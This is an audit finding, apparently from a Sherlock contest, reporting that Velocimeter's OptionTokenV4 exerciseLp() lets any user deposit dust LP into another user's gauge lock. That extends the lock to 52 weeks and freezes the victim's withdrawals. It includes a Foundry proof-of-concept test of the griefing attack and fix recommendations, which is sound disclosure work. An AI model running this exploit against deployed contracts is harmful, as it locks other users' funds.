Vast Vermilion Aardvark

High

# Malicious users could extend other users' locks with dust lp, freezing fund withdrawals

## Summary
In the current exerciseLp(), anyone could deposit lp to locks owned by other users, extending these locks duration.

The problem is that even with dust amount, malicious users could extend duration of locks owned by other users,  up to 52 weeks. 

## Vulnerability Detail
In the current implementation of exerciseLp(), one can exercise lp and and add it into locks owned by `recipient` (could be another user)

```solidity
     function _exerciseLp(
        uint256 _amount,   // the oTOKEN amount the user wants to redeem with
        uint256 _maxPaymentAmount, // the
   >>>     address _recipient,
        uint256 _discount
    ) internal returns (uint256 paymentAmount, uint256 lpAmount) {
```
```solidity
        // Stake the LP in the gauge with lock
        address _gauge = gauge;
        _safeApprove(address(pair), _gauge, lpAmount);
        IGaugeV4(_gauge).depositWithLock(
     >>>       _recipient,
            lpAmount,
            getLockDurationForLpDiscount(_discount) 
        );
```
There is no restriction on min amount to deposit. Thus, it is possible to extend anyone's lock to full duration (52 weeks) with just dust amount; malicious users could exploit this to freeze fund withdrawals for other users.

## POC
Please add this test into OptionTokenV4.t.sol
```solidity
function testExerciseLpDust() public { 


        vm.startPrank(address(owner)); 
        FLOW.approve(address(oFlowV4), TOKEN_100K);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_1);
        // mint Option token to owner 3
        oFlowV4.mint(address(owner3),  TOKEN_1);
        oFlowV4.mint(address(owner),  TOKEN_1);
        washTrades();
        vm.stopPrank();
        

        uint256 discountedPrice = oFlowV4.getLpDiscountedPrice(TOKEN_1,20);

        //Owner2 creates a lock 
        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(TOKEN_1, TOKEN_1, address(owner2),20,block.timestamp);
        vm.stopPrank();


        //forward time. 52 week
        vm.warp(52 * 7 * 86400);

        //Random user deposit (could be anyone). Because reward rate is reset to 0 after each week, we need a first deposit which is big enough to make sure reward rate is > 0. 
        //In reality, due to vibrant activities, reward rate should not be 0 most of the time. 
        vm.startPrank(address(owner));
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(TOKEN_1, TOKEN_1, address(owner),20,block.timestamp);
        vm.stopPrank();

        // owner3 deposits dust to owner2's account (from owner3) to extend owner2's lock
        vm.startPrank(address(owner3));
        DAI.approve(address(oFlowV4), 12);
        oFlowV4.exerciseLp(10, 10, address(owner2),20,block.timestamp);
        vm.stopPrank();

     
        // This shows that anyone could extend lock for other users, which is a big problem
        assertEq(gauge.lockEnd(address(owner2)),block.timestamp + 52 * 7 * 86400);

    }
```
## Impact
Freezing fund withdrawal for users.
## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L652-L657
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L700-L704
## Tool used

Manual Review

## Recommendation
Consider either:
1. adding min amount restriction; exercising lp will revert if lp amount is less than the minimum amount allowed.
2. only allowing msg.sender to deposit to their lock.